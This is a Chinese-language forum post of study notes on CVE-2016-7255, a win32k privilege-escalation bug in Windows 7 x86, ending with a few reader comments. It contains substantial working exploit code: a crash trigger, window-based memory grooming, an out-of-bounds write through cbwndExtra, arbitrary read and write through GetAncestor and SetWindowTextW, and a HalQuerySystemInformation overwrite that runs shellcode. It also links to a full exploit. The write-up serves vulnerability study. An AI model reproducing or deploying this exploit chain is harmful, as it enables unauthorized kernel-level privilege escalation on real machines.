首页
论坛
课程
招聘
[原创]CVE-2016-7255提权漏洞学习笔记
2022-6-16 18:11 5701

[原创]CVE-2016-7255提权漏洞学习笔记

2022-6-16 18:11
5701

一.前言

1.漏洞描述

该漏洞存在于win32k中的xxxNextWindow函数中,该函数没有对tagWND对象的spmenu成员的合法性进行验证,就直接将其作为合法地址进行读写,导致了BSOD的产生。通过将spmenu设置为特定的值,可以让tagWND对象获得越界写入的能力,从而修改其他tagWND的strName->Buffer的值,实现任意地址写入,最终实现提权。

2.实验环境

  • 操作系统:Win 7 x86 sp1 专业版

  • 编译器:Visual Studio 2017

  • 调试器:IDA Pro, WinDbg

二.漏洞分析

1.漏洞成因

xxxNextWindow函数的第一个参数指向tagQ结构体,该结构体定义如下:

kd> dt win32k!tagQ
   +0x000 mlInput          : tagMLIST
   +0x00c ptiSysLock       : Ptr32 tagTHREADINFO
   +0x010 idSysLock        : Uint4B
   +0x014 idSysPeek        : Uint4B
   +0x018 ptiMouse         : Ptr32 tagTHREADINFO
   +0x01c ptiKeyboard      : Ptr32 tagTHREADINFO
   +0x020 spwndCapture     : Ptr32 tagWND
   +0x024 spwndFocus       : Ptr32 tagWND
   +0x028 spwndActive      : Ptr32 tagWND
   +0x02c spwndActivePrev  : Ptr32 tagWND
   +0x030 codeCapture      : Uint4B
   +0x034 msgDblClk        : Uint4B
   +0x038 xbtnDblClk       : Uint2B
   +0x03c timeDblClk       : Uint4B
   +0x040 hwndDblClk       : Ptr32 HWND__
   +0x044 ptDblClk         : tagPOINT
   +0x04c ptMouseMove      : tagPOINT
   +0x054 afKeyRecentDown  : [32] UChar
   +0x074 afKeyState       : [64] UChar
   +0x0b4 caret            : tagCARET
   +0x0ec spcurCurrent     : Ptr32 tagCURSOR
   +0x0f0 iCursorLevel     : Int4B
   +0x0f4 QF_flags         : Uint4B
   +0x0f8 cThreads         : Uint2B
   +0x0fa cLockCount       : Uint2B
   +0x0fc msgJournal       : Uint4B
   +0x100 ExtraInfo        : Int4B
   +0x104 ulEtwReserved1   : Uint4B

tagQ结构体中有许多成员指向tagWND结构体,该结构体定义如下:

kd> dt win32k!tagWND
   +0x000 head             : _THRDESKHEAD
   +0x014 state            : Uint4B
   +0x018 state2           : Uint4B
   +0x01c ExStyle          : Uint4B
   +0x020 style            : Uint4B
   +0x024 hModule          : Ptr32 Void
   +0x028 hMod16           : Uint2B
   +0x02a fnid             : Uint2B
   +0x02c spwndNext        : Ptr32 tagWND
   +0x030 spwndPrev        : Ptr32 tagWND
   +0x034 spwndParent      : Ptr32 tagWND
   +0x038 spwndChild       : Ptr32 tagWND
   +0x03c spwndOwner       : Ptr32 tagWND
   +0x040 rcWindow         : tagRECT
   +0x050 rcClient         : tagRECT
   +0x060 lpfnWndProc      : Ptr32     long 
   +0x064 pcls             : Ptr32 tagCLS
   +0x068 hrgnUpdate       : Ptr32 HRGN__
   +0x06c ppropList        : Ptr32 tagPROPLIST
   +0x070 pSBInfo          : Ptr32 tagSBINFO
   +0x074 spmenuSys        : Ptr32 tagMENU
   +0x078 spmenu           : Ptr32 tagMENU
   +0x07c hrgnClip         : Ptr32 HRGN__
   +0x080 hrgnNewFrame     : Ptr32 HRGN__
   +0x084 strName          : _LARGE_UNICODE_STRING
   +0x090 cbwndExtra       : Int4B
   +0x094 spwndLastActive  : Ptr32 tagWND
   +0x098 hImc             : Ptr32 HIMC__
   +0x09c dwUserData       : Uint4B
   +0x0a0 pActCtx          : Ptr32 _ACTIVATION_CONTEXT
   +0x0a4 pTransform       : Ptr32 _D3DMATRIX
   +0x0a8 spwndClipboardListenerNext : Ptr32 tagWND
   +0x0ac ExStyle2         : Uint4B

xxxNextWindow会从tagQ中取出偏移0x28的spwndActive作为参数调用GetNextQueueWindow,spwndActive代表当前活跃的窗口,函数GetNextQueueWindow会将spwndActive偏移0x38保存的子窗口spwndChild返回:

.text:BF9684C5                 mov     edi, [ebx+28h]  ; 将spwndActive赋值给edi
.text:BF968533                 push    1
.text:BF968535                 push    [ebp+hDC]
.text:BF968538                 push    edi
.text:BF968539                 call    __GetNextQueueWindow@12 
.text:BF96853E                 mov     ebx, eax        ; 将spwndChild赋给ebx

验证GetNextQueueWindow返回的tagWND偏移0x78处保存的spmenu成员是否为0,如果不为0,将对spmenu偏移0x14处指向的地址进行或运算:

.text:BF96859C                 xor     ecx, ecx     
.text:BF96859E                 cmp     [ebx+78h], ecx  ; 判断spmenu是否为0
.text:BF9685A1                 jz      short loc_BF9685AA
.text:BF9685A3                 mov     eax, [ebx+78h]         ; 将spmenu赋给eax
.text:BF9685A6                 or      dword ptr [eax+14h], 4 ; 将flags与4进行或运算

spmenu是一个tagMENU对象,该对象部分成员如下,所以上面的代码其实是想对tagMENU的flags成员进行或运算。

kd> dt win32k!tagMENU
   +0x000 head             : _PROCDESKHEAD
   +0x014 fFlags           : Uint4B
   +0x018 iItem            : Int4B

在进行或运算之前,函数只是验证了tagWND->spmenu是否为0,却没有验证tagWND->spmenu所指的内存是否有效,而spmenu可以通过函数SetWindowLong修改,该函数定义如下:

LONG SetWindowLong(HWND hWnd,int nIndex, LONG dwNewLong);

SetWindowLong函数会调用内核的xxxSetWindowLong函数实现功能,在xxxSetWindowLong函数中会判断nIndex是否小于0:

.text:BF8B40E0                 mov     edx, [ebp+nIndex] ; nIndex赋值edx
.text:BF8B40EB                 push    0
.text:BF8B40ED                 pop     ecx             ; ecx请0
.text:BF8B4134                 cmp     edx, ecx        ; edx是否小于0,小于则跳转
.text:BF8B4136                 jl      short loc_BF8B419E

如果nIndex小于0,则会调用xxxSetWindowData函数:

.text:BF8B419E loc_BF8B419E:                           ; CODE XREF: xxxSetWindowLong(x,x,x,x,x)+4F↑j
.text:BF8B419E                                         ; xxxSetWindowLong(x,x,x,x,x)+80↑j
.text:BF8B419E                 push    [ebp+arg_C]
.text:BF8B41A1                 push    [ebp+dwNewLong]
.text:BF8B41A4                 push    edx
.text:BF8B41A5                 push    esi
.text:BF8B41A6                 call    _xxxSetWindowData@16 ; xxxSetWindowData(x,x,x,x)
.text:BF8B41AB                 jmp     loc_BF8B4234

xxxSetWindowData函数会判断nIndex是否等于-12:

.text:BF8BB79E                 mov     eax, [ebp+nIndex]
.text:BF8BB7C2                 cmp     eax, 0FFFFFFF4h
.text:BF8BB7C5                 jz      loc_BF8BBA1C

如果nIndex为-12,继续判断tagWND->style的最高位是否为0x40,如果是,则将dwNewLong赋值给窗口的spmenu:

.text:BF8BBA1C loc_BF8BBA1C:                           
.text:BF8BBA1C                 mov     edi, [ebp+tagWND]
.text:BF8BBA1F                 mov     al, [edi+23h]
.text:BF8BBA22                 and     al, 0C0h
.text:BF8BBA24                 cmp     al, 40h
.text:BF8BBA26                 jnz     short loc_BF8BBA33
.text:BF8BBA28                 mov     eax, [ebp+dwNewLong]
.text:BF8BBA2B                 mov     ebx, [edi+78h]
.text:BF8BBA2E                 mov     [edi+78h], eax  ; 将dwNewLong赋值给tagWND->spmenu
.text:BF8BBA31                 jmp     short loc_BF8BBA88

根据以下定义可以知道,当对带有WS_CHILD标记的窗口调用SetWindowLong的时候,如果第二个参数传入GWL_ID,第三个参数的值就会写入到窗口的spmenu中:

#define WS_CHILD            0x40000000L
#define GWL_ID              (-12)

因此,用户可以修改窗口的spmenu,如果将它修改为一个非法的地址,再调用xxxNextWindow函数,就会因为对一个非法地址进行或运算导致BSOD的产生。

对上述内容的总结如下:

  • 漏洞函数xxxNextWindow的执行流程是:1) 获取当前活跃窗口;2) 从当前活跃窗口中获取子窗口;3) 对子窗口的spmenu成员0x14所指的内存地址进行或运算

  • 想要在用户层修改窗口的spmenu成员,要满足的条件:1) 被修改的窗口具有WS_CHILD标记. 2) 调用SetWindowLong的时候第二个参数指定为GWL_ID

2.漏洞触发

xxxNextWindow函数需要通过发送Alt + Esc的按键信息来调用,因此漏洞触发的步骤如下:

  1. 获取桌面窗口句柄作为父窗口

  2. 创建一个用来触发漏洞的攻击窗口,该窗口的父窗口需要指定为桌面窗口

  3. 设置攻击窗口带有WS_CHILD标记,通过SetWindowLong修改攻击窗口的spmenu,将其指向非法内存地址

  4. 将桌面窗口置于最顶层,即将其变成活跃窗口

  5. 模拟Alt + Esc按键调用xxxNextWindow函数

相应的POC代码如下:

BOOL POC_CVE_2016_7255()
{
	BOOL bRet = TRUE;
	HWND hwnd = NULL, hDesktop = NULL;
	WNDCLASSEX wc = { 0 };
	char *pClassName = "POC";

	// 获取父窗口
	hDesktop = GetDesktopWindow();
	if (!hDesktop)
	{
		bRet = FALSE;
		ShowError("GetDesktopWindow", GetLastError());
		goto exit;
	}

	memset(&wc, 0, sizeof(wc));
	wc.cbSize = sizeof(wc);
	wc.hInstance = GetModuleHandle(NULL);
	wc.lpfnWndProc = DefWindowProc;
	wc.lpszClassName = pClassName;

	if (!RegisterClassEx(&wc))
	{
		bRet = FALSE;
		ShowError("RegisterClassEx", GetLastError());
		goto exit;
	}

	// 创建触发漏洞的窗口
	hwnd = CreateWindowEx(NULL, 
						  pClassName,
						  NULL,
						  WS_VISIBLE,
						  0, 0, 100, 100, 
						  hDesktop,			// 指定父窗口为桌面窗口
						  0,
						  GetModuleHandle(NULL),
						  0);
	if (!hwnd)
	{
		bRet = FALSE;
		ShowError("CreateWindowEx", GetLastError());
		goto exit;
	}

	// 设置子窗口带WS_CHILD标记
	// 这样GetNonChildAncesstor就会返回其父窗口,即hDesktop
	SetWindowLong(hwnd, GWL_STYLE, (WS_VISIBLE | WS_CHILD));

	// 设置子窗口的spwnd
	SetWindowLong(hwnd, GWL_ID, 0x1900);

	// 将桌面窗口,也就是父窗口置于最前面
	// 模拟Alt + Esc按键触发漏洞
	SwitchToThisWindow(hDesktop, TRUE);
	keybd_event(VK_MENU, 0, 0, 0);
	keybd_event(VK_ESCAPE, 0, 0, 0);

exit:
	return bRet;
}

在xxxNextWindow函数验证spmenu是否为0处下断点,编译运行POC,可以看到此时的spmenu已经被修改为指定的值:

kd> ba e1 win32k!xxxNextWindow + 0x3D0
kd> g
Breakpoint 0 hit
win32k!xxxNextWindow+0x3cf:
96eb859e 394b78          cmp     dword ptr [ebx+78h],ecx
kd> r ebx
ebx=fea14d48
kd> dt tagWND fea14d48
win32k!tagWND
   +0x078 spmenu           : 0x00001900 tagMENU

由于是非0的,所以函数会继续向下执行,将spmenu的值取出,并对其+0x14的内存地址进行或操作,但是该地址是非法地址,所以会触发BSOD错误:

win32k!xxxNextWindow+0x3d2:
96eb85a1 7407            je      win32k!xxxNextWindow+0x3db (96eb85aa)
kd> p
win32k!xxxNextWindow+0x3d4:
96eb85a3 8b4378          mov     eax,dword ptr [ebx+78h]
kd> p
win32k!xxxNextWindow+0x3d7:
96eb85a6 83481404        or      dword ptr [eax+14h],4
kd> r eax
eax=00001900
kd> dd eax
00001900  ???????? ???????? ???????? ????????
00001910  ???????? ???????? ???????? ????????
00001920  ???????? ???????? ???????? ????????
00001930  ???????? ???????? ???????? ????????
00001940  ???????? ???????? ???????? ????????
00001950  ???????? ???????? ???????? ????????
00001960  ???????? ???????? ???????? ????????
00001970  ???????? ???????? ???????? ????????
kd> g
Access violation - code c0000005 (!!! second chance !!!)
win32k!xxxNextWindow+0x3d7:
96eb85a6 83481404        or      dword ptr [eax+14h],4

三.漏洞利用

1.利用思路

利用该漏洞可以实现对指定的内存地址与4进行或运算,因此可以将spmenu赋值为tagWND偏移0x93,这样就可以扩大tagWND偏移0x90的cbwndExtra。之所以扩大这个地址,是因为在xxxSetWindowLong中,当nIndex大于0的时候,函数会判断nIndex + 4是否小于等于cbwndExtra,如果大于,就会设置错误码再退出函数:

.text:BF8B4185                 lea     eax, [edx+4]    ; eax=nIndex+4
.text:BF8B4188                 cmp     eax, [esi+90h]  ; eax小于等于cbwndExtra则跳转
.text:BF8B418E                 jbe     short loc_BF8B41B0
.text:BF8B4190                 push    585h
.text:BF8B4195                 jmp     loc_BF8B421D
            ...
.text:BF8B421D loc_BF8B421D:                           
.text:BF8B421D                                         
.text:BF8B421D                 call    _UserSetLastError@4
.text:BF8B4222                 xor     eax, eax
.text:BF8B4224                 jmp     short loc_BF8B4234

如果nIndex + 4小于等于cbwndExtra,函数会对将dwNewLong的值写入到tagWND窗口之后的nIndex处的地址。这里的esi指向tagWND的首地址,0xB0是tagWND的大小,edx则是nIndex:

.text:BF8B4226                 lea     ecx, [esi+edx+0B0h]   
.text:BF8B422D                 mov     edx, [ebp+dwNewLong]
.text:BF8B4230                 mov     eax, [ecx]
.text:BF8B4232                 mov     [ecx], edx

如果利用该漏洞将cbwndExtra扩大了,此时就可以直接通过SetWindowLong来实现越界写入操作。如果可以在可写的范围内在布置一个tagWND结构体,这样就可以通过SetWindowLong函数修改新布置的tagWND结构体中的成员来实现任意地址读写。

2.扩大cbwndExtra

由于要获取tagWND的cbwndExtra地址来对其进行扩大,所以要首先获取窗口对象的tagWND地址。tagWND的获取可以通过HMValidateHandle函数实现,该函数定义如下:

typedef void* (__fastcall *lHMValidateHandle)(HWND h, int type);

当第二个参数type指定为TYPE_WINDOW(0x1)的时候,函数会返回第一个参数指定的窗口句柄的THREADESKEAD结构体,该结构体定义如下,其中pSelf成员保存了tagWND对象在内核中的地址。

typedef struct _HEAD
{
	HANDLE h;
	DWORD clockObj;
}HEAD, *PHEAD;

typedef struct _THROBJHEAD
{
	HEAD h;
	PVOID pti;
}THROBJHEAD, *PTHROBJHEAD;

typedef struct _THRDESKHEAD
{
	THROBJHEAD h;
	PVOID rpdesk;
	PVOID pSelf;
}THRDESKHEAD, *PTHRDESKHEAD;

有了HMValidateHandle函数就可以获取需要的窗口的tagWND在内核中的地址,但是该函数是未导出的函数,需要通过user32.dll中的导出函数IsMenu来获取,因为IsMenu函数有对HMValidateHandle的调用:

这里可以将0xE8作为特征码找到HMValidateHandle的相对地址,根据相对地址得出实际的函数地址,相应的代码如下:

PVOID GetHMValidateHandle()
{
	PVOID pFuncAddr = NULL;
	HMODULE hUser32 = NULL;
	PBYTE pIsMenu = NULL;
	DWORD i = 0, dwFuncOffset = 0;

	hUser32 = LoadLibraryA("user32.dll");
	if (!hUser32)
	{
		ShowError("LoadLibraryA", GetLastError());
		goto exit;
	}

	pIsMenu = (PBYTE)GetProcAddress(hUser32, "IsMenu");
	if (!pIsMenu)
	{
		ShowError("GetProcAddress", GetLastError());
		goto exit;
	}

	for (i = 0; i < PAGE_SIZE; i++)
	{
		if (pIsMenu[i] == 0xE8)
		{
			dwFuncOffset = *(PDWORD)(pIsMenu + i + 1);
			pFuncAddr = (PVOID)(dwFuncOffset + pIsMenu + i + 5);
			break;
		}
	}

exit:
	return pFuncAddr;
}

通过HMValidateHandle可以获取cbwndExtra,在调用SetWindowLong修改spmenu的时候,可以将写入值指定为cbwndExtra  + 3  - 0x14的地址,这样就可以利用或操作扩大cbwndExtra,相应代码如下:

BOOL Trigger_CVE_2016_7255(HWND *hWndList)
{
	BOOL bRet = TRUE;
	HWND hTriggerWnd = NULL, hDesktop = NULL;
	WNDCLASSEX wc = { 0 };
	char *pClassName = "Trigger";
	DWORD i = 0;

	// 获取父窗口
	hDesktop = GetDesktopWindow();
	if (!hDesktop)
	{
		bRet = FALSE;
		ShowError("GetDesktopWindow", GetLastError());
		goto exit;
	}

	memset(&wc, 0, sizeof(wc));
	wc.cbSize = sizeof(wc);
	wc.hInstance = GetModuleHandle(NULL);
	wc.lpfnWndProc = DefWindowProc;
	wc.lpszClassName = pClassName;

	if (!RegisterClassEx(&wc))
	{
		bRet = FALSE;
		ShowError("RegisterClassEx", GetLastError());
		goto exit;
	}

	// 创建触发漏洞的窗口
	hTriggerWnd = CreateWindowEx(NULL,
							     pClassName,
							     NULL,
							     WS_VISIBLE,
							     0, 0, 100, 100,
							     hDesktop,			// 指定父窗口为桌面窗口
							     0,
							     GetModuleHandle(NULL),
							     0);
	if (!hTriggerWnd)
	{
		bRet = FALSE;
		ShowError("CreateWindowEx", GetLastError());
		goto exit;
	}

	DWORD dwTriggerAddr = 0;
	lHMValidateHandle HMValidateHandle =  (lHMValidateHandle)GetHMValidateHandle();

	PTHRDESKHEAD pTriggerHead = (PTHRDESKHEAD)HMValidateHandle(hTriggerWnd, TYPE_WINDOW);

	dwTriggerAddr = (DWORD)pTriggerHead->pSelf;

	// 设置子窗口带WS_CHILD标记
	// 这样GetNonChildAncesstor就会返回其父窗口,即hDesktop
	SetWindowLong(hTriggerWnd, GWL_STYLE, (WS_VISIBLE | WS_CHILD));

	CONST DWORD dwCbExOffset = 0x90;
	DWORD dwValue = 0;

	dwValue = dwTriggerAddr + dwCbExOffset + 3 - 0x14;
	// 设置子窗口的spwnd为cbwndExtra + 3的位置
	SetWindowLong(hTriggerWnd, GWL_ID, dwValue);

	// 将桌面窗口,也就是父窗口置于最前面
	// 模拟Alt + Esc按键触发漏洞
	SwitchToThisWindow(hDesktop, TRUE);
	keybd_event(VK_MENU, 0, 0, 0);
	keybd_event(VK_ESCAPE, 0, 0, 0);

exit:
	if (hTriggerWnd)
	{
		if (!DestroyWindow(hTriggerWnd))
		{
			bRet = FALSE;
		}
	}
	return bRet;
}

此时在xxxNextWindow对spmenu是否为0处下断点,查看此时的tagWND地址为0xFEA1C200,那么cbwndExtra的地址就是0xFEA1C290:

kd> g
Breakpoint 0 hit
win32k!xxxNextWindow+0x3cf:
969e859e 394b78          cmp     dword ptr [ebx+78h],ecx
kd> r ebx
ebx=fea1c200

spmenu为0xFEA1C27F,等于0xFEA1C200 + 0x90 + 0x3 - 0x14,成功指向cbwndExtra + 0x3处的地址,此时的cbwndExtra为0。

继续向下运行,会对tagWND中成员cbwndExtra + 0x3地址处的内容对4进行或运算:

kd> p
win32k!xxxNextWindow+0x3d2:
969e85a1 7407            je      win32k!xxxNextWindow+0x3db (969e85aa)
kd> p
win32k!xxxNextWindow+0x3d4:
969e85a3 8b4378          mov     eax,dword ptr [ebx+78h]
kd> p
win32k!xxxNextWindow+0x3d7:
969e85a6 83481404        or      dword ptr [eax+14h],4
kd> p
win32k!xxxNextWindow+0x3db:
969e85aa 8b4308          mov     eax,dword ptr [ebx+8]

可以看到此时成功将cbwndExtra值扩大到0x04000000:

kd> dd 0xFEA1C290
fea1c290  04000000 fea1c200 000701d5 00000000
fea1c2a0  00000000 00000000 00000000 00000058
fea1c2b0  00010004 08000017 00000002 00000002
fea1c2c0  013663a0 0000a918 ffa83308 0001c033
fea1c2d0  00010017 08000004 000a01c0 00000003
fea1c2e0  ffa72dd8 877cd140 fea1c2d8 60040408
fea1c2f0  80000700 20080900 14c00000 00400000
fea1c300  00000000 fea1c128 fea1c488 fea00618

3.内存布局

现在可以利用漏洞实现扩大cbwndExtra成员的方式来实现越界写入,需要在被扩大的tagWND对象的可写入的范围内布置另一个tagWND结构体作为用来修改的窗口对象,通过对该对象成员的修改实现任意地址读写,所以此时需要首先创建一部分窗口,在释放掉其中的一部分,这样触发漏洞的时候创建的窗口之后就会存在另一个tagWND对象,相应代码如下:

BOOL Init_CVE_2016_7255(HWND *hWndList)
{
	BOOL bRet = TRUE;
	CONST DWORD dwFakeNum = 100;
	WNDCLASSEX wc = { 0 };
	char *pFakeName = "Fake";
	DWORD i = 0;
	
	memset(&wc, 0, sizeof(wc));
	wc.cbSize = sizeof(wc);
	wc.hInstance = GetModuleHandle(NULL);
	wc.lpfnWndProc = DefWindowProc;
	wc.lpszClassName = pFakeName;

	if (!RegisterClassEx(&wc))
	{
		ShowError("RegisterClassEx", GetLastError());
		bRet = FALSE;
		goto exit;
	}

	// 创建用来攻击的窗口
	for (i = 0; i < dwFakeNum; i++)
	{
		hWndList[i] = CreateWindowEx(NULL,
									 pFakeName,
									 "Hack",
									 WS_VISIBLE,
									 0, 0, 100, 100,
									 NULL,
									 0,
									 GetModuleHandle(NULL),
									 0);
		if (!hWndList[i])
		{
			ShowError("CreateWindowEx", GetLastError());
			bRet = FALSE;
			goto exit;
		}
	}

	// 释放其中的一部分用来保存触发漏洞时候创建的窗口
	for (i = 20; i < 80; i += 2)
	{
		if (!DestroyWindow(hWndList[i]))
		{
			ShowError("DestroyWindow", GetLastError());
			bRet = FALSE;
			goto exit;
		}
		hWndList[i] = NULL;
	}
	
exit:
	return bRet;
}

此时,在触发漏洞的时候,加入以下代码用来查找位于被扩大cbwndExtra的tagWND对象高地址中最近的一个tagWND对象用来作为攻击窗口此时,就可以利用越界写入修改攻击窗口对象tagWND中的成员。

	DWORD dwTriggerAddr = 0, dwAttackAddr = 0;
	lHMValidateHandle HMValidateHandle =  (lHMValidateHandle)GetHMValidateHandle();

	PTHRDESKHEAD pTriggerHead = (PTHRDESKHEAD)HMValidateHandle(hTriggerWnd, TYPE_WINDOW);

	dwTriggerAddr = (DWORD)pTriggerHead->pSelf;
	// 寻找用来攻击的tagWND
	for (i = 0; i < 100; i++)
	{
		if (hWndList[i])
		{
			PTHRDESKHEAD pFakeHead = (PTHRDESKHEAD)HMValidateHandle(hWndList[i], TYPE_WINDOW);

			dwAttackAddr = (DWORD)pFakeHead->pSelf;
			if (dwAttackAddr > dwTriggerAddr && dwAttackAddr - dwTriggerAddr < 0x3FD000)
			{
				hAttackWnd = hWndList[i];
				break;
			}
		}
	}

	if (!hAttackWnd)
	{
		printf("Do not find Attack tagWND\n");
		bRet = FALSE;
		goto exit;
	}

4.任意地址读写

任意地址的读取要用到GetAncestor函数,该函数的定义如下:

HWND GetAncestor(HWND hwnd, UINT gaFlags);

该函数会调用内核中的NtUserGetAncestor,NtUserGetAncestor函数将_GetAncestor函数返回值指向的地址中的值作为返回值:

参数gaFlags为1的时候,_GetAncestor函数会返回tagWND中偏移0x34的spwndParent:

所以,在用户层调用GetAncestor函数的时候,如果第二个参数指定为GA_PANT,函数就会将第一个参数对应的tagWND对象的spwndParant所指的内存地址中的数据返回。

#define     GA_PARENT       1

因为可以利用越界写入操作将tagWND偏移0x34的spwndParent修改为任意地址,所以,可以通过调用GetAncestor就可以实现任意地址的读取。

对于任意地址写入,需要用到tagWND对象偏移0x84处的strName成员:

kd> dt win32k!tagWND
   +0x084 strName          : _LARGE_UNICODE_STRING

该成员用来是一个_LARGE_UNICODE_STRING结构体,结构体定义如下:

2: kd> dt win32k!_LARGE_UNICODE_STRING
   +0x000 Length           : Uint4B
   +0x004 MaximumLength    : Bitfield Pos 0, 31 Bits
   +0x004 bAnsi            : Bitfield Pos 31, 1 Bit
   +0x008 Buffer           : Ptr32 to Uint2B

在用户层调用如下定义的SetWindowTextW函数的时候,函数会将参数lpString中的数据写入到tagWND->strName的Buffer保存的地址中。同理,因为此时可以利用越界写入操作将Buffer修改为任意地址,所以,可以通过SetWindowTextW实现任意地址写入。

WINUSERAPI
BOOL
WINAPI
SetWindowTextW(
    __in HWND hWnd,
    __in_opt LPCWSTR lpString);

有了任意地址的读写能力,现在就可以轻松地通过修改NtQuerySystemInformation函数来实现提权操作,相应代码如下:

BOOL EnablePrivilege_CVE_2016_7255(HWND hTriggerWnd, HWND hAttackWnd, DWORD dwOffset)
{
	BOOL bRet = TRUE;
	
	PVOID pTargetAddr = NULL;
	// 获取目标函数地址
	pTargetAddr = GetHalQuerySystemInformation();

	if (!pTargetAddr)
	{
		bRet = FALSE;
		goto exit;
	}

	DWORD dwOrg = 0, dwOrgPar = 0;
	DWORD dwParentOffset = dwOffset + 0x34;

	// 获取原tagWND->spwndParent
	dwOrgPar = GetWindowLong(hTriggerWnd, dwParentOffset);
	
	// 设置tagWND->spwndParent为目标函数地址
	SetWindowLong(hTriggerWnd, dwParentOffset, (ULONG)pTargetAddr);

	// 获取目标函数地址中的原来的内容
	dwOrg = (DWORD)GetAncestor(hAttackWnd, GA_PARENT);

	// 恢复tagWND->spwndParent
	SetWindowLong(hTriggerWnd, dwParentOffset, dwOrgPar);

	DWORD dwBufOffset = dwOffset + 0x84 + 0x8;
	 
	// 修改tagWND->StrName->Buffer为目标函数地址
	SetWindowLong(hTriggerWnd, dwBufOffset, (ULONG)pTargetAddr);
	
	// 设置目标函数地址为ShellCode地址
	WCHAR wBuf[3] = { 0 };

	*(PDWORD)wBuf = (DWORD)ShellCode_CVE_2016_7255;
	if (!SetWindowTextW(hAttackWnd, wBuf))
	{
		ShowError("SetWindowText", GetLastError());
		bRet = FALSE;
		goto exit;
	}

	// 调用函数实现提权
	if (!CallNtQueryIntervalProfile())
	{
		bRet = FALSE;
		goto exit;
	}

	// 恢复目标函数地址
	*(PDWORD)wBuf = dwOrg;
	if (!SetWindowTextW(hAttackWnd, wBuf))
	{
		ShowError("SetWindowText", GetLastError());
		bRet = FALSE;
		goto exit;
	}
	
exit:
	return bRet;
}

四.运行结果

完整代码在:https://github.com/LegendSaber/exp/blob/master/exp/CVE-2016-7255.cpp。编译运行exp就可以成功实现提权操作:

五.参考资料


[2022夏季班]《安卓高级研修班(网课)》月薪三万班招生中~

最后于 2022-6-29 15:27 被1900编辑 ,原因:
收藏
点赞2
打赏
分享
最新回复 (3)
雪    币: 683
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
t1n9 活跃值 2022-6-22 09:49
2
0
老师我想学二进制漏洞,怎么入门
雪    币: 19155
活跃值: 活跃值 (18987)
能力值: ( LV15,RANK:810 )
在线值:
发帖
回帖
粉丝
1900 活跃值 6 2022-6-22 15:39
3
0
t1n9 老师我想学二进制漏洞,怎么入门
汇编和C会的话,可以直接看0day和漏洞战争
雪    币: 683
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
t1n9 活跃值 2022-6-26 10:17
4
0
好的感谢
游客
登录 | 注册 方可回帖
返回